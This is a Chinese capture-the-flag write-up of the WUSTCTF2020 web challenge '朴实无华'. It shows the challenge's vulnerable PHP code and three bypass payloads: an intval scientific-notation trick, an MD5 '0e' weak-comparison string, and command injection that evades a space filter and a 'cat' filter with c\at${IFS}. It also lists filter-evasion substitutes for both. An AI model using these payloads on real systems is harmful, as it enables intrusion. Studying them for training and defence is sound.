[WUSTCTF2020]朴实无华

题目

image-20220930224240673

直接看题目,一上来就让我hack,这个要求多少有些让我难以拒绝。

步骤

先F12查看一下源码

image-20220930224246912

由标题猜测可能有robots.txt协议,猜测不到也可以通过dirsearch扫描后台,可以扫到一个robots.txt文件,访问即可得到一个fAke_flagggg.php的提示。

image-20220930224251883

再次访问可以看到一个假的flag。

image-20220930224301337

到这里我们使用bp抓包看一下。

image-20220930224307927

再次得到提示, 继续访问

image-20220930224314060

见劳如见旦,原来是旦总。
Chrome浏览器显示乱码,用火狐浏览器打开,在查看中可以修复文字编码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

查看源码,需要三层绕过才能逃脱去非洲的命运…

level 1-intval 绕过

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

关键代码:

if(intval($num) < 2020 && intval($num + 1) > 2021)

分析:通过GET传入变量$num的值,经过intval()方法处理后比2020小,但+1后比2021大,即可绕过。
intval()绕过,这个函数是强制转换为int类型。经测试以下只适合php7.0及以下版本,7.2.23版本测试不可以(就算是字符串也会直接解析科学记数法)

<?php
$a="2e4";
echo intval($a);
?>
//结果:a=2
<?php
$a="2e4";
echo intval($a+1);
?>
//结果:a=20001

进行加1 时会先将$a的科学计数法解析然后再加 1 ,
也就是说我们传入2e4第一次intval()结果为2 ,但是+1后会结果为20001
所以我们传参?num=2e4即可完成绕过。
:在科学计数法字符串转换为数字时,如果 E 后面的数小于某个值会弄成 double 类型,再强制转换为 int 类型时可能会有奇妙的结果,测试发现某变量为 1e-1000 时已经可以触发这个漏洞绕过两个检查,使得某变量既大于 0 又不大于 0。

image-20220930224325996

革命尚未成功,暂时还没能逃脱去非洲的命运,接着来到旦总的第二个考验。

level 2-md5 弱比较

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

通过GET传入变量$md5的值,通过弱类型比较与md5加密后的值相等,即可绕过。
也就是以0e开头的字符串,md5加密后还是以0e开头即可在弱类型比较时均转换成整数0

0e215962017
md5值:0e291242476940776845150308577824

字符串0e215962017符合该条件,尝试传入参数:?md5=0e215962017

image-20220930224335734

成功绕过第二关。

level 3-绕过空格和cat

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

如果存在空格则会输出“快到非洲了”,而存在cat则会替换成wctf2020从而无法实现cat本身的作用,所以我们需要同时绕过空格和cat

常用的:

代替cat: tac、c\at、more、less、head、tail、sort
代替空格:$IFS、${IFS}、$IFS$1

我们首先查看一下目录

image-20220930224345581

这个最长的应该就是flag了,我们尝试传参?get_flag=c\at${IFS}文件名

image-20220930224353966

成功拿到flag,终于摆脱了被送去非洲的命运。

最后

写到这里,我充实而欣慰,web狗的生活往往就是这么朴实无华,且枯燥……